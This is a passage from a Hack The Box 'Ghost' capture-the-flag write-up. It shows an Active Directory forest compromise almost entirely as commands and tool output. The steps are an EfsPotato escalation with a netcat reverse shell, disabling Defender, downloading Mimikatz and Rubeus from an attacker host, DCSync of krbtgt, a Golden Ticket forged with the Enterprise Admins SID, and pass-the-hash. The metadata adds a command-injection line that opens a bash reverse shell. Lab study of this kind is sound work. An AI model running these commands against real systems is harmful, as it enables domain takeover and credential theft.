http://go.microsoft.com/fwlink/?LinkID=533240\n\nEfsPotato.cs(123,29): warning CS0618: 'System.IO.FileStream.FileStream(System.IntPtr, System.IO.FileAccess, bool)' is obsolete: 'This constructor has been deprecated. Please use new FileStream(SafeFileHandle handle, FileAccess access) instead, and optionally make a new SafeFileHandle with ownsHandle=false if needed. http://go.microsoft.com/fwlink/?linkid=14202'\nPS C:\\Users\\public> \n\n``` \n\nThe compiler returned only a deprecation warning, meaning the compilation itself completed successfully and produced `EfsPotato.exe`.\n\n\n\n## {red:Preparing the Reverse Shell}\n\nBefore executing the exploit, I prepared another Netcat listener on the attack machine.\n\n``` bash \nnc - nvlp 1234 \n``` \n\nThe plan was to use EfsPotato to start the previously uploaded `nc64.exe` binary under a privileged token and connect back to port `1234`.\n\n\n\n## {red:Executing EfsPotato}\n\nI launched EfsPotato and supplied the Netcat reverse-shell command as its payload.\n\n``` bash \nPS C:\\Users\\public> .\\EfsPotato.exe 'C:\\programdata\\nc64.exe 10.10.14.15 1234 -e powershell.exe'\n.\\EfsPotato.exe 'C:\\programdata\\nc64.exe 10.10.14.15 1234 -e powershell.exe'\nExploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).\nPart of GMH's fuck Tools, Code By zcgonvh.\nCVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]\n\n[+] Current user: NT Service\\MSSQLSERVER\n[+] Pipe: \\pipe\\lsarpc\n[!] binding ok (handle=8eedf0)\n[+] Get Token: 888\n[!] process with pid: 3712 created.\n==============================\n[x] EfsRpcEncryptFileSrv failed: 1818\n\n``` \n\nAlthough the exploit ended with the following error:\n\n```text\n[x] EfsRpcEncryptFileSrv failed: 1818\n``` \n\nthe earlier output showed that a token had been obtained and a new process had already been created:\n\n```text\n[+] Get Token: 888\n[!] process with pid: 3712 created.\n``` \n\nThis indicated that the payload may still have executed successfully despite the final RPC error.\n\n\n\n## {red:Obtaining a SYSTEM Shell}\n\nI checked the listener on the attack machine.\n\n``` bash \nrlwrap nc -nvlp 1234\nListening on 0.0.0.0 1234\nConnection received on 10.129.41.116 49888\nWindows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nInstall the latest PowerShell for new features and improvements! https://aka.ms/PSWindows\n\nPS C:\\Users\\public> whoami\nwhoami\nnt authority\\system\n\n``` \n\nThe reverse connection had been established successfully.\n\nRunning `whoami` confirmed that the new shell was executing as:\n\n```text\nnt authority\\system\n``` \n\nEfsPotato had successfully abused `SeImpersonatePrivilege`, elevating the SQL Server service account to the highest local privilege level on the host.\n\n\n\n## {red:The Machine Was Not Yet Complete}\n\nI now had full local control of `PRIMARY` as `NT AUTHORITY\\SYSTEM`.\n\n``` bash \nrlwrap nc -nvlp 1234\nListening on 0.0.0.0 1234\nConnection received on 10.129.41.116 49888\nWindows PowerShell\nCopyright (C) Microsoft Corporation. All rights reserved.\n\nInstall the latest PowerShell for new features and improvements! https://aka.ms/PSWindows\n\nPS C:\\Users\\public> whoami\nwhoami\nnt authority\\system\n\n``` \n\nHowever, there was no `root.txt` flag on the Administrator's desktop.\n\nThis confirmed that obtaining `SYSTEM` on the current server was not the end of the attack path.\n\nSince the environment contained multiple domains, the next objective was to investigate the Active Directory trust relationships and determine whether the compromise of `PRIMARY` could be extended into the parent domain.\n\n\n## {red:Enumerating the Active Directory Forest}\n\nAfter escalating to `NT AUTHORITY\\SYSTEM`, I had sufficient privileges to disable Windows Defender's real-time monitoring.\n\n``` bash \nPS C:\\users\\Administrator> Set-MpPreference -DisableRealtimeMonitoring $True\n\nSet-MpPreference -DisableRealtimeMonitoring $True\nPS C:\\users\\Administrator>\n``` \n\nWith real-time monitoring disabled, I could transfer and execute the remaining post-exploitation tools without Defender immediately quarantining them.\n\nFrom the earlier BloodHound analysis, I already knew that the environment contained another domain.\n\n![image](/uploads/ghost-htb/images/img372)\n\nThe current server belonged to the `corp.ghost.htb` domain, while `ghost.htb` appeared to be the forest root. Since obtaining `SYSTEM` on `PRIMARY` had not revealed the root flag, the next objective was to investigate the relationship between these domains.\n\n\n\n## {red:Loading PowerView}\n\nI transferred `PowerView.ps1` to the compromised server.\n\n``` powershell \nPS C:\\users\\Administrator> wget 10.10.14.15:9090/PowerView.ps1 -o PowerView.ps1\nwget 10.10.14.15:9090/PowerView.ps1 -o PowerView.ps1\n``` \n\nI then loaded PowerView into the current PowerShell session.\n\n``` bash \nPS C:\\users\\Administrator> . .\\PowerView.ps1\n. .\\PowerView.ps1\n``` \n\nWith PowerView imported, I could enumerate the domain and its trust relationships directly from the compromised domain controller.\n\n\n\n## {red:Identifying the Domain Controller}\n\nI queried the current domain controller using:\n\n``` bash \nPS C:\\users\\Administrator> Get-ADDomainController\nGet-ADDomainController\n\n\nComputerObjectDN : CN=PRIMARY,OU=Domain Controllers,DC=corp,DC=ghost,DC=htb\nDefaultPartition : DC=corp,DC=ghost,DC=htb\nDomain : corp.ghost.htb\nEnabled : True\nForest : ghost.htb\nHostName : PRIMARY.corp.ghost.htb\nInvocationId : 34c6785f-058a-4d29-82a2-8a3f118c5595\nIPv4Address : 10.0.0.10\nIPv6Address : ::1\nIsGlobalCatalog : True\nIsReadOnly : False\nLdapPort : 389\nName : PRIMARY\nNTDSSettingsObjectDN : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuratio\n n,DC=ghost,DC=htb\nOperatingSystem : Windows Server 2022 Datacenter\nOperatingSystemHotfix : \nOperatingSystemServicePack : \nOperatingSystemVersion : 10.0 (20348)\nOperationMasterRoles : {PDCEmulator, RIDMaster, InfrastructureMaster}\nPartitions : {DC=DomainDnsZones,DC=corp,DC=ghost,DC=htb, DC=corp,DC=ghost,DC=htb, \n DC=ForestDnsZones,DC=ghost,DC=htb, CN=Schema,CN=Configuration,DC=ghost,DC=htb...}\nServerObjectDN : CN=PRIMARY,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=ghost,DC=htb\nServerObjectGuid : e9f296c1-3f55-473b-b8fd-d5ac6be967d7\nSite : Default-First-Site-Name\nSslPort : 636\n``` \n\nThe output confirmed that:\n\n- The current domain was `corp.ghost.htb`.\n- The forest root was `ghost.htb`.\n- The compromised domain controller was `PRIMARY.corp.ghost.htb`.\n- Its internal IP address was `10.0.0.10`.\n\nThis established that `corp.ghost.htb` was a child domain within the `ghost.htb` forest.\n\n\n\n## {red:Enumerating the Domain Trust}\n\nI then enumerated the trust relationships associated with the child domain.\n\n``` powershell \nPS C:\\users\\Administrator> Get-DomainTrust\nGet-DomainTrust\n\n\nSourceName : corp.ghost.htb\nTargetName : ghost.htb\nTrustType : WINDOWS_ACTIVE_DIRECTORY\nTrustAttributes : WITHIN_FOREST\nTrustDirection : Bidirectional\nWhenCreated : 2/1/2024 2:33:33 AM\nWhenChanged : 7/17/2026 2:18:19 PM\n\n`\n``` \n\nThe output showed a bidirectional, intra-forest trust between:\n\n```text\ncorp.ghost.htb\nghost.htb\n``` \n\nA bidirectional trust meant authentication requests could flow in both directions. More importantly, because both domains belonged to the same forest, the trust could potentially be abused using Kerberos ticket manipulation and the `ExtraSIDs` field.\n\nThe attack path was now clear: compromise the child domain's `krbtgt` account, forge a Golden Ticket containing the forest root's Enterprise Admins SID, and use the resulting privileges against `ghost.htb`.\n\n\n\n## {red:DCSyncing the Child Domain KRBTGT Account}\n\nTo forge a Golden Ticket, I first needed the cryptographic material associated with the child domain's `krbtgt` account.\n\nI transferred Mimikatz to the server.\n\n``` powershell \nPS C:\\users\\Administrator> wget 10.10.14.15:9090/mimikatz.exe -o mimikatz.exe \nwget 10.10.14.15:9090/mimikatz.exe -o mimikatz.exe \n``` \n\nSince the current shell was running with domain-controller-level privileges, I used Mimikatz to perform a DCSync attack against the `krbtgt` account.\n\n``` bash \nPS C:\\Users\\Administrator> .\\mimikatz.exe 'lsadump::dcsync /user:[email protected]' exit\n.\\mimikatz.exe 'lsadump::dcsync /user:[email protected]' exit\n\n .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08\n .## ^ ##. \"A La Vie, A L'Amour\" - (oe.eo)\n ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )\n ## \\ / ## > https://blog.gentilkiwi.com/mimikatz\n '## v ##' Vincent LE TOUX ( [email protected] )\n '#####' > https://pingcastle.com / https://mysmartlogon.com ***/\n\nmimikatz(commandline) # lsadump::dcsync /user:[email protected]\n[DC] 'corp.ghost.htb' will be the domain\n[DC] 'PRIMARY.corp.ghost.htb' will be the DC server\n[DC] '[email protected]' will be the user account\n[rpc] Service : ldap\n[rpc] AuthnSvc : GSS_NEGOTIATE (9)\n\nObject RDN : krbtgt\n\n** SAM ACCOUNT **\n\nSAM Username : krbtgt\nAccount Type : 30000000 ( USER_OBJECT )\nUser Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )\nAccount expiration : \nPassword last change : 1/31/2024 7:34:01 PM\nObject Security ID : S-1-5-21-2034262909-2733679486-179904498-502\nObject Relative ID : 502\n\nCredentials:\n Hash NTLM: 69eb46aa347a8c68edb99be2725403ab\n ntlm- 0: 69eb46aa347a8c68edb99be2725403ab\n lm - 0: fceff261045c75c4d7f6895de975f6cb\n\nSupplemental Credentials:\n* Primary:NTLM-Strong-NTOWF *\n Random Value : 4acd753922f1e79069fd95d67874be4c\n\n* Primary:Kerberos-Newer-Keys *\n Default Salt : CORP.GHOST.HTBkrbtgt\n Default Iterations : 4096\n Credentials\n aes256_hmac (4096) : b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d\n aes128_hmac (4096) : ea18711cfd69feef0c8efba75bca9235\n des_cbc_md5 (4096) : b3e070025110ce1f\n\n* Primary:Kerberos *\n Default Salt : CORP.GHOST.HTBkrbtgt\n Credentials\n des_cbc_md5 : b3e070025110ce1f\n\n* Packages *\n NTLM-Strong-NTOWF\n\n* Primary:WDigest *\n 01 673e591f1e8395d5bf9069b7ddd084d6\n 02 1344e8aade9169b015f2ca4ddf8a04bd\n 03 021a6b424b5372ef3511673b04647862\n 04 673e591f1e8395d5bf9069b7ddd084d6\n 05 1344e8aade9169b015f2ca4ddf8a04bd\n 06 122def4643832d604a97c9c02e29cb38\n 07 673e591f1e8395d5bf9069b7ddd084d6\n 08 2526b041b761a9ae973e69ee23d8ab97\n 09 2526b041b761a9ae973e69ee23d8ab97\n 10 43c410fd94dc2ca31c3d12cd76ea5e5c\n 11 b51d328dbb94b922331d54ffd54134d5\n 12 2526b041b761a9ae973e69ee23d8ab97\n 13 99c658551700bb8b4dbe0503acade3cb\n 14 b51d328dbb94b922331d54ffd54134d5\n 15 8a1e17a5a2aa32b2120a39ba99881020\n 16 8a1e17a5a2aa32b2120a39ba99881020\n 17 9ebecd6b439ee2e7847819e54be70d8f\n 18 ff83c6eb25c8da26d5332aeeaeae4cb8\n 19 2ee6795b19f71e9c5aa2ab2f902a0c55\n 20 3722d9593e0e483720a657bcb56526b2\n 21 7bdac8f5dfed431bc7232ff1ca6ebb4d\n 22 7bdac8f5dfed431bc7232ff1ca6ebb4d\n 23 42b46cd4462f0d4c4ae5da7757a2ff90\n 24 7648ab0ac431ceada83b321ca468fccf\n 25 7648ab0ac431ceada83b321ca468fccf\n 26 7af11e3e17a21afd61955ed5a5f52405\n 27 9dfbb554b398bdf2e8c51e1b20208c08\n 28 49a35ae4b703b7c47b44708fa235c581\n 29 8a24eb5a1a3155556064b79149b00211\n\n\nmimikatz(commandline) # exit\nBye!\n``` \n\nThe DCSync attack successfully recovered the child domain's `krbtgt` secrets.\n\nThe most important value was the AES-256 Kerberos key:\n\n```text\nb0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d\n``` \n\nThe `krbtgt` account is responsible for signing and encrypting Kerberos Ticket Granting Tickets. Possession of its key allowed me to create arbitrary TGTs that would be accepted as valid by the child domain.\n\n\n\n## {red:Retrieving the Child Domain SID}\n\nThe child domain SID was also required when building the forged ticket.\n\n``` bash \nPS C:\\Users\\Administrator> Get-ADDomain | Select-Object DomainSID\nGet-ADDomain | Select-Object DomainSID\n\nDomainSID \n--------- \nS-1-5-21-2034262909-2733679486-179904498\n``` \n\nThe domain SID was:\n\n```text\nS-1-5-21-2034262909-2733679486-179904498\n``` \n\n\n\n## {red:Transferring Rubeus}\n\nI transferred Rubeus to the compromised domain controller.\n\n``` bash \nPS C:\\Users\\Administrator> wget 10.10.14.15:9090/Rubeus.exe -o Rubeus.exe\nwget 10.10.14.15:9090/Rubeus.exe -o Rubeus.exe\n``` \n\nRubeus would be used to create a Golden Ticket for the child domain while embedding an additional SID from the forest root.\n\n\n\n## {red:Forging a Golden Ticket with an ExtraSID}\n\nThe SID supplied through the `/sids` argument ended with RID `519`.\n\n```text\nS-1-5-21-4084500788-938703357-3654145966-519\n``` \n\nRID `519` corresponds to the **Enterprise Admins** group in the forest root domain.\n\nBy embedding this SID into the ticket's `ExtraSIDs` field, the forged identity would be treated as a member of the forest-wide Enterprise Admins group when authenticating across the intra-forest trust.\n\nI generated the Golden Ticket and imported it directly into the current logon session using `/ptt`.\n\n``` bahs \nPS C:\\Users\\Administrator> .\\Rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt\n.\\Rubeus.exe golden /aes256:b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d /ldap /user:Administrator /sids:S-1-5-21-4084500788-938703357-3654145966-519 /ptt\n\n ______ _ \n (_____ \\ | | \n _____) )_ _| |__ _____ _ _ ___ \n | __ /| | | | _ \\| ___ | | | |/___)\n | | \\ \\| |_| | |_) ) ____| |_| |___ |\n |_| |_|____/|____/|_____)____/(___/\n\n v2.2.0 \n\n[*] Action: Build TGT\n\n[*] Trying to query LDAP using LDAPS for user information on domain controller PRIMARY.corp.ghost.htb\n[X] Error binding to LDAP server: The LDAP server is unavailable.\n[!] LDAPS failed, retrying with plaintext LDAP.\n[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb' for '(samaccountname=Administrator)'\n[*] Retrieving group and domain policy information over LDAP from domain controller PRIMARY.corp.ghost.htb\n[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/DC=corp,DC=ghost,DC=htb' for '(|(distinguishedname=CN=Group Policy Creator Owners,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Domain Admins,CN=Users,DC=corp,DC=ghost,DC=htb)(distinguishedname=CN=Administrators,CN=Builtin,DC=corp,DC=ghost,DC=htb)(objectsid=S-1-5-21-2034262909-2733679486-179904498-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'\n[*] Attempting to mount: \\\\primary.corp.ghost.htb\\SYSVOL\n[*] \\\\primary.corp.ghost.htb\\SYSVOL successfully mounted\n[*] Attempting to unmount: \\\\primary.corp.ghost.htb\\SYSVOL\n[*] \\\\primary.corp.ghost.htb\\SYSVOL successfully unmounted\n[*] Retrieving netbios name information over LDAP from domain controller PRIMARY.corp.ghost.htb\n[*] Searching path 'LDAP://PRIMARY.corp.ghost.htb/CN=Configuration,DC=ghost,DC=htb' for '(&(netbiosname=*)(dnsroot=corp.ghost.htb))'\n[*] Building PAC\n\n[*] Domain : CORP.GHOST.HTB (GHOST-CORP)\n[*] SID : S-1-5-21-2034262909-2733679486-179904498\n[*] UserId : 500\n[*] Groups : 544,512,520,513\n[*] ExtraSIDs : S-1-5-21-4084500788-938703357-3654145966-519\n[*] ServiceKey : B0EB79F35055AF9D61BCBBE8CCAE81D98CF63215045F7216FFD1F8E009A75E8D\n[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256\n[*] KDCKey : B0EB79F35055AF9D61BCBBE8CCAE81D98CF63215045F7216FFD1F8E009A75E8D\n[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256\n[*] Service : krbtgt\n[*] Target : corp.ghost.htb\n\n[*] Generating EncTicketPart\n[*] Signing PAC\n[*] Encrypting EncTicketPart\n[*] Generating Ticket\n[*] Generated KERB-CRED\n[*] Forged a TGT for '[email protected]'\n\n[*] AuthTime : 7/17/2026 3:09:37 PM\n[*] StartTime : 7/17/2026 3:09:37 PM\n[*] EndTime : 7/18/2026 1:09:37 AM\n[*] RenewTill : 7/24/2026 3:09:37 PM\n\n[*] base64(ticket.kirbi):\n\n doIFjTCCBYmgAwIBBaEDAgEWooIEcjCCBG5hggRqMIIEZqADAgEFoRAbDkNPUlAuR0hPU1QuSFRCoiMw\n IaADAgECoRowGBsGa3JidGd0Gw5jb3JwLmdob3N0Lmh0YqOCBCYwggQioAMCARKhAwIBA6KCBBQEggQQ\n fQ9LMCEj69Ql/dM2RjQAnoSo9G9KNf/uR1vUr/HbKFPDapN/BbfB6I0Cd1t2HfnkvLEGNT89K3wpeSkF\n rF3FFs2KwVujC8AvB2oO1Z92P8Wcr2pc8cBoZryaWEG5Tm9Ra1lLrT5Yi24cHF5/IURp4AitFSqTtRX9\n DpsewLWnouBevlKlDlYXiM94XpsCd0WYazWRXhMAStAH8k252xk1HAmvdyl0i2cfHbY5R5HLEJghrzK9\n YdPF1CCdOPnpL3NjkYdHVRY55gktY/W9LU3V2RJdRqq5v2z+1USap4Kw3+g0EsrD5LRNFetR0IuKJb98\n eqp5orfkuyGZ2AuVgAsB63ohfMcNFjI5H22aX0155SMztXsRiJBluBpUH/qAX4scn09hpoAixp+Ov/zx\n VrwPJOFC8YtLeC58d3cNXzXWpu3f0oTi8x5DlcNHACCdsxurE+vnC8ypVqUKK5NdtRaoeHPS1w47cIAc\n Cu3uBv7WrwOHiTCyB8o1xwkOMt8sTLgmR7YqWRabnKhc2ZTniyijG0B92mywd0vDAZqBMJGr5VMTZjas\n 3qvH6ejf/C5ytKGwwtQp3akw1PTXpz5Qq6dwN/h9AKweeyAkp+7j8+7K9G0f4P8/4uo28DkzqtotkH6n\n 15RgwnQMA0Kdr0C8u5jTQZJ5Ngh6jIQ/OeckebEmPMZnibslpySuXBrg5GC0qMvDdnWz+4D5lMfPprXW\n bWIcsvjxgW/Kiswu4zQUOVtmNcguSwSrkTntVam61Wc9RMHFAdaQatvs5m5JwqW4XHMLIz9ftiSyDsQI\n LOwK8wQ5IH9/aFgckiol1rf15Y5wIN8cAxyNouZWD/VMNlih/MLDu35NVqGzkk6Se22PK7JhMawjycaf\n L6vmlE+XrB6vsQDb29oN8HNSYTb1fNdTwSnxd8YJucqWht2IR/4lwVczEHgDdRt+XosPX5oKNfRZBx3n\n EXxHvbFuaRy06ddB9+GCIXK0nKf/+SYk19ZSTbP9xieduKYasUttpZue8kfEd63/bqQzNhPnpO6oJsWq\n TC9HCutjbr2/MOu+bgjsBLpTz1TaTxhE8fvjZ5wWiI2XdUjcAi+3301ANRmF4Q0uCeqeGYjyEBqMX/ob\n K9ljPYJsz+dy3mGpEJiFqozJqShcowakdrUbRxK4sVe6uGJ4ZOXfJaOICgzdCjC0R6mfNbq+ouWoYLd2\n jN84Mdh+uDmtItQJpRopcn8CDLE+Y/BvH6AEGH3SA6JoDuEYHIsHdSQT2OsEPMngjZTAlEj4NstbONw+\n x+C5gKlq46uTeWWfrltCOuBqtjgERv8Wqh0jenJnK4xR9NEXKZYmgu8o3fbqzAFx4o6KruKFjee83L/U\n ELgXWdeHWvb2QiRldFpw7caxNvijggEFMIIBAaADAgEAooH5BIH2fYHzMIHwoIHtMIHqMIHnoCswKaAD\n AgESoSIEIDqOK2fjsX5EU1VTGO7ta4xtgj2YcEaHGI+4Gj9Cfx+AoRAbDkNPUlAuR0hPU1QuSFRCohow\n GKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQOAAAKQRGA8yMDI2MDcxNzIyMDkzN1qlERgPMjAy\n NjA3MTcyMjA5MzdaphEYDzIwMjYwNzE4MDgwOTM3WqcRGA8yMDI2MDcyNDIyMDkzN1qoEBsOQ09SUC5H\n SE9TVC5IVEKpIzAhoAMCAQKhGjAYGwZrcmJ0Z3QbDmNvcnAuZ2hvc3QuaHRi\n\n\n[+] Ticket successfully imported!\nPS C:\\Users\\Administrator> \n``` \n\nRubeus first attempted LDAPS, failed, and then successfully fell back to plaintext LDAP. It queried the child domain for the required account and policy information, constructed the Privilege Attribute Certificate, signed the ticket using the recovered `krbtgt` AES key, and injected it into the current session.\n\nThe following lines confirmed that the Enterprise Admins SID had been included and that the ticket was successfully imported:\n\n```text\n[*] ExtraSIDs : S-1-5-21-4084500788-938703357-3654145966-519\n[*] Forged a TGT for '[email protected]'\n[+] Ticket successfully imported!\n``` \n\nThe current session could now authenticate across the forest with privileges associated with the Enterprise Admins group.\n\n\n\n## {red:DCSyncing the Parent Domain}\n\nWith the forged ticket loaded into memory, I targeted the forest root domain directly.\n\n``` bash\n.\\mimikatz.exe \"lsadump::dcsync /domain:ghost.htb /dc:DC01.ghost.htb /user:ghost\\administrator\" \"exit\"\n\n\nHash NTLM: 1cdb17d5c14ff69e7067*****\n``` \n\nThe DCSync request targeted:\n\n- Domain: `ghost.htb`\n- Domain controller: `DC01.ghost.htb`\n- Account: `ghost\\administrator`\n\nThe parent domain controller accepted the forged Kerberos identity and returned the NTLM hash for the forest root Administrator account.\n\n```text\n1cdb17d5c14ff69e7067cffcc9e470bd\n``` \n\nAt this point, the compromise had successfully crossed from the child domain into the forest root.\n\n\n## {red:Authenticating to the Forest Root}\n\nI used the recovered NTLM hash to authenticate to `DC01.ghost.htb` through WinRM.\n\n``` bash \nevil-winrm -i DC01.ghost.htb -u administrator -H 1cdb17d5c14ff69e7067cffcc9e470bd\n``` \n\nThe pass-the-hash authentication succeeded, providing an interactive shell as the parent domain's Administrator account.\n\n\n## {red:Capturing the Root Flag}\n\nFinally, I navigated to the Administrator's desktop and read the root flag.\n\n```bash \n*Evil-WinRM* PS C:\\Users\\Administrator\\Desktop> cat root.txt\n0995e000d203e926360e***************\n``` \n## {red:Attack Summary}\n\nThe compromise of Ghost followed a long, multi-stage attack chain across web applications, Linux containers, Active Directory, AD FS, MSSQL, and an intra-forest trust.\n\nThe attack began with an LDAP injection vulnerability in the internal portal. This allowed authentication bypass and the extraction of the secret token for the `gitea_temp_principal` account. The recovered token provided access to Gitea, where repository content exposed a Ghost Content API key and details about an internal development endpoint.\n\nThe Ghost API was vulnerable to path traversal, which allowed arbitrary file reads from the container. Reading `/proc/self/environ` exposed the `DEV_INTRANET_KEY`, which was then used to access a command-injection vulnerability in the intranet development API. This resulted in a root shell inside the Docker container.\n\nAn existing SSH ControlMaster socket inside the container was reused to access a domain-joined Linux workstation as `florence.ramirez`. Her Kerberos credential cache was copied and used in a pass-the-cache attack, providing authenticated access to the `ghost.htb` domain.\n\nBloodHound enumeration revealed that `justin.bradley` could read the password of the `adfs_gmsa Ghost HTB Writeup & Walkthrough | Pentest Notes
managed service account. A missing DNS record for `bitbucket.ghost.htb` was created and pointed to the attacker machine, causing Justin's automated script to authenticate to Responder. The captured NetNTLMv2 hash was cracked, providing Justin's credentials.\n\nUsing Justin's privileges, the password for `adfs_gmsa Ghost HTB Writeup & Walkthrough | Pentest Notes
was recovered. The AD FS service account access was then used to extract the token-signing certificate and private key. ADFSpoof generated a forged SAML response for the Administrator account, which the internal application accepted as legitimate.\n\nThe forged Administrator session exposed an MSSQL query interface. Linked Server enumeration revealed access to `PRIMARY`, where the `sa` login could be impersonated. This allowed `xp_cmdshell` to be enabled and used to obtain a reverse shell as `NT SERVICE\\MSSQLSERVER`.\n\nThe SQL Server service account had `SeImpersonatePrivilege`, which was abused with EfsPotato to escalate to `NT AUTHORITY\\SYSTEM` on the child domain controller.\n\nFinally, the child domain's `krbtgt` key was extracted through DCSync. A Golden Ticket was forged with the forest root's Enterprise Admins SID added as an `ExtraSID`. The forged ticket was used to DCSync the parent domain Administrator account, and the recovered NTLM hash provided full access to `DC01.ghost.htb`.\n\n```text\nLDAP Injection\n ↓\nGitea Token Extraction\n ↓\nRepository Secrets\n ↓\nGhost API Path Traversal\n ↓\nDevelopment API Command Injection\n ↓\nRoot Shell in Docker\n ↓\nSSH ControlMaster Reuse\n ↓\nKerberos Pass-the-Cache\n ↓\nDNS Record Abuse\n ↓\nNetNTLMv2 Capture and Cracking\n ↓\ngMSA Password Retrieval\n ↓\nAD FS Signing Key Extraction\n ↓\nForged SAML Authentication\n ↓\nMSSQL Linked Server Abuse\n ↓\nxp_cmdshell Reverse Shell\n ↓\nEfsPotato to SYSTEM\n ↓\nChild Domain KRBTGT DCSync\n ↓\nGolden Ticket with Enterprise Admins ExtraSID\n ↓\nParent Domain DCSync\n ↓\nForest Root Administrator\n``` \n\n## {red:Final Thoughts}\n\nGhost was one of those machines where every stage of the compromise depended on careful enumeration and connecting small details from different parts of the environment.\n\nThe attack path moved through several completely different technologies, including LDAP, Gitea, Ghost CMS, Docker, SSH multiplexing, Kerberos, BloodHound, AD FS, MSSQL, local privilege escalation, and Active Directory trust abuse. None of the individual findings alone provided full compromise, but each one exposed the next step in the chain.\n\nThe most interesting part of the machine was how realistic the transitions felt. Information found in the intranet led to credential extraction, repository access exposed application secrets, a container foothold provided access to a domain-joined workstation, and Active Directory enumeration eventually led to the compromise of the forest root.\n\nThe final escalation through the child domain trust was especially valuable. Extracting the `krbtgt` key, forging a Golden Ticket with the Enterprise Admins SID, and using it to DCSync the parent domain demonstrated how the compromise of a child domain can impact the security of the entire forest.\n\nOverall, Ghost was a long and challenging machine that strongly rewarded patience, structured enumeration, and the ability to connect findings across multiple systems.\n\nSee you in the next writeup. Until then, keep enumerating and stay curious.\n\n**by Madhav**","excerpt":"Ghost is an Insane Windows Active Directory machine that starts with an LDAP injection that an attacker can exploit to leak the credentials for a Gitea instance. Looking through the source code on the repositories, the attacker can combine an arbitrary file read attack with a remote code execution vulnerability to gain access to a Linux host connected to Active Directory. Enumerating the Linux host, the attacker can extract a Kerberos ticket for a domain user and use it to get access to the Active Directory environment. Then, the attacker can add a DNS entry and steal the hash of another domain user. The newly compromised user can read the GMSA password of a service account tied to ADFS services. With the service account compromised, the attacker can craft a Golden SAML response and get access to a database management panel. Exploiting a linked MSSQL database on a different domain, the attacker can get code execution on a machine that lies on a different domain. Elevating the privileges and exploiting the Bidirectional trust between the two domains, the attacker can craft a valid Golden Kerberos ticket across both domains, thus fully compromising the entire forest.","difficulty":"Insane","category_id":"23","author_id":"33","tags":["Hack The Box","HTB","Ghost HTB","Insane Machine","Active Directory","LDAP Injection","Blind LDAP Injection","Gitea","Ghost CMS","Path Traversal","Local File Inclusion","Command Injection","Docker Escape","SSH ControlMaster","Kerberos","Pass-the-Cache","BloodHound","DNS Abuse","Responder","NetNTLMv2","gMSA","AD FS","ADFSpoof","SAML Forgery","MSSQL","Linked Server","xp_cmdshell","SeImpersonatePrivilege","EfsPotato","DCSync","Golden Ticket","ExtraSIDs","Enterprise Admins","Child Domain","Forest Trust","Privilege Escalation","Lateral Movement","Windows Server","Penetration Testing","Red Team","Cybersecurity","Writeup"],"ctf_name":"HackTheBox","ctf_year":2026,"is_locked":0,"published_at":"2026-07-18T09:01:05.000Z","thumbnail_url":"/uploads/ghost-htb/images/img508","writeup_type":"CPTS","views":8,"moderation_status":"published","publish_requested":0,"approved_by":null,"is_hidden":0,"deleted_at":null,"created_at":"2026-07-18T09:01:05.650Z","updated_at":"2026-07-18T15:00:07.197Z","machine_os":"windows","machine_os_icon_url":"","read_time_minutes":480,"locked_description":"","release_date":"2024-07-13T00:00:00.000Z","machine_status":"Retired","attack_path":null,"client_request_id":null,"category_name":"HTB","category_slug":"htb","category_color":"#334155","category_icon":"W","category_icon_type":"image","category_icon_image_url":"/uploads/htb/images/img531","author_username":"Madhav","commands_used":["nmap -sV -A -p- 10.129.231.105 -oN ghost.nmap.txt --min-rate=2000","echo 10.129.231.105 DC01.ghost.htb ghost.htb | sudo tee -a /etc/hosts","feroxbuster -u http://ghost.htb:8008/","ffuf -u http://ghost.htb:8008 -H \"Host: FUZZ.ghost.htb:8008\" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -fs 7676","echo 10.129.231.105 intranet.ghost.htb DC01.ghost.htb ghost.htb | sudo tee -a /etc/hosts","python ldap_brute-faster.py gitea_temp_principal -c 50","gitea [Status: 200, Size: 13651, Words: 1050, Lines: 272, Duration: 167ms]","curl 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a'","curl -s 'http://ghost.htb:8008/ghost/api/content/posts/?key=a5af628828958c976a3b6cc81a&extra=../../../../etc/hosts' | jq","python lfi.py /etc/passwd","python lfi.py /proc/self/environ","python lfi.py /proc/self/cwd/content/data/ghost.db > ghost.db","curl http://intranet.ghost.htb:8008/api-dev","curl -s -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' --data '{\"url\": \";id\"}' 'http://intranet.ghost.htb:8008/api-dev/scan' | jq .","nc -nvlp 1234","curl -s -H 'X-DEV-INTRANET-KEY: !@yqr!X2kxmQ.@Xe' -H 'Content-Type: application/json' --data '{\"url\": \";bash -i >& /dev/tcp/10.10.14.15/1234 0>&1\"}' 'http://intranet.ghost.htb:8008/api-dev/scan' | jq .","ls -la","cat docker-entrypoint.sh","ls","ssh [email protected]@dev-workstation","cat /etc/passwd","env","klist","cat /tmp/krb5cc_50 | base64"]}}